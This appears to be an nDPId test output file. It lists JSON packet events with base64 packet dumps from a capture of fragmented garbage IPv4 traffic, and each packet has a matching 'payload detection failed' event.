+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908785,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908799,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908812,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908824,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908837,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908852,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908867,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908882,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908897,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908909,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908937,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908949,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908961,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908974,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908989,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909001,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909015,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909031,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909055,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909070,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909082,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909089,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909096,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909104,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909112,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909127,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909137,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909145,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909152,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909160,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909167,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909175,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909277,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909284,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909292,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909299,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909306,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909313,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 